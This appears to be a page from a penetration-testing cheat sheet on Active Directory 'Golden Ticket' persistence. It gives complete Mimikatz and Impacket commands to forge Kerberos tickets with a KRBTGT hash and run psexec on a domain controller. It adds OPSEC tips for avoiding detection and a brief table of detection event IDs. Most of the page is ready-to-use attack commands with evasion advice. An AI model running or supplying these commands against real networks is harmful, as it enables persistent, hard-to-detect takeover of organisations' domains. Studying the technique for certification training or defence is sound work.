AD^:Active Directory

Attack #64 — Golden Ticket Persistence

A Golden Ticket provides persistent domain access by forging TGTs using the KRBTGT hash. As a persistence technique (not just one-time escalation), the…

advancedupdated 2026-08-10Impacket · Mimikatz · PowerShell

🟤 Attack #64 — Golden Ticket Persistence


📖 How It Works

A Golden Ticket provides persistent domain access by forging TGTs using the KRBTGT hash. As a persistence technique (not just one-time escalation), the attacker stores the KRBTGT hash offline and forges new TGTs whenever needed — maintaining access even if the compromised DA account’s password is reset. Only a double KRBTGT password rotation invalidates existing Golden Tickets.


⚙️ Prerequisites

RequirementDetail
KRBTGT hashPreviously extracted via DCSync
Domain SIDFor ticket crafting

💻 Full Commands

# ── Forge Golden Ticket for persistent access ─────────────────────────────────
mimikatz.exe
kerberos::golden /user:Administrator /domain:corp.local \
  /sid:S-1-5-21-3878595448-1012506728-1948843120 \
  /krbtgt:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d \
  /ptt

# ── With 10-year validity ────────────────────────────────────────────────────
kerberos::golden /user:Administrator /domain:corp.local \
  /sid:S-1-5-21-3878595448-1012506728-1948843120 \
  /krbtgt:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d \
  /startoffset:-10 /endin:43200 /renewmax:86400 /ptt
# ── Impacket — forge and save Golden Ticket ───────────────────────────────────
ticketer.py -nthash 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d \
  -domain-sid S-1-5-21-3878595448-1012506728-1948843120 \
  -domain corp.local Administrator

export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local

🎯 OPSEC Tips

  • Store KRBTGT hash securely — it’s the key to unlimited domain access
  • Forge tickets as needed — don’t use a single Golden Ticket continuously
  • Use Diamond (#13) or Sapphire (#14) Tickets for better OPSEC
  • Only invalidated by: KRBTGT password reset twice (to clear both current and previous keys)

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4769Security Log (DC)TGS request with no corresponding 4768 AS-REQ
4624Security LogDA logon from unexpected source with no prior TGT event

✅ Attack #64 — Golden Ticket Persistence complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.